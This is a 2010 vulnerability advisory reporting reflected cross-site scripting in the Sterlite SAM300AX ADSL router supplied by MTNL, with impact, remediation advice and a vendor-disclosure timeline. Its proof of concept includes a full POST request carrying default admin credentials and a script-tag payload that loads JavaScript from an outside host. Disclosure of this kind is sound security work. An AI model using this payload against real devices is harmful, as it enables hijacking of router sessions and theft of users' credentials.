*Sterlite SAM300AX ADSL router* is provided through MTNL, New Delhi, India, amongst other national / international locations (www.sterlitetechnologies.com / http://sterlitetechnologies.com/sterlite.aspx). ########## *+About MTNL+* http://mtnldelhi.in/glance/index.htm MTNL was set up on 1st April, 1986 by the Government of India to upgrade the quality of telecom services, expand the telecom network, introduce new services and to raise revenue for telecom development needs of India�s key metros � Delhi, the political capital and Mumbai, the business capital of India. Govt. of India currently holds 56.25% stake in the company. *+Broadband device used+* http://delhi.mtnl.net.in/services/broadband.htm Sterlite SAM300AX ADSL router is deployed by MTNL at user's end (usually home / small office) for internet broadband services. *+Vulnerability+* A. Reflective Cross Site Scripting ( May also result in remote code execution ) *+Details of Vulnerability+* The management interface of the router is accessible through HTTP. After logging in, we are presented with various administrative screens. It has been found that the user input is not properly filtered and / or encoded by the application. Hence, allowing an attacker to execute scripts on the user's browser. *+Pre-Requisites+* *User logged on to the Router.* * +PoC+* One of the vulnerable HTTP requests & parameters is provided below for reference. Go to Menu -> Statistics *+POST Request+* POST http://192.168.1.1/Forms/status_statistics_1 HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 Paros/3.2.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Proxy-Connection: keep-alive Referer: http://192.168.1.1/status/status_statistics.htm Authorization: Basic YWRtaW46YWRtaW4= Content-Type: application/x-www-form-urlencoded Content-length: 101 *+POST Parameters+* Stat_Radio=%3CSCRIPT%20SRC%3Dhttp%3A%2F%2Fha.ckers.org %2Fxss.js%3E%3C%2FSCRIPT%3E&StatRefresh=REFRESH *+Impact+* High Impact. This device is supplied in Delhi, and Mumbai through MTNL, a Govt. of India controlled organization. As there is no filtering / encoding in place, an attacker has the opportunity to get the scripts executed by the user (logged on to the router http://192.168.1.1). XSS can be used to obtain login credentials, download malware, execute scripts from external sources, gain access to the system and subsequently perform further serious attacks like DoS/DDoS. *+Solution+* A. Sanitize / filter all input. B. Ensure ALL Input and Output is encoded properly. *+References+* -> OWASP (www.owasp.org) ########## *Vulnerability Found:* January 19, 2010 *Vendor First Notified: January 20, 2010 * *Vendor Response:* None *Follow Up Notification: *January 27, 2010 *Vendor Response:* None *Public Disclosure:* February 05, 2010 ########## Best Regards, Karn Ganeshen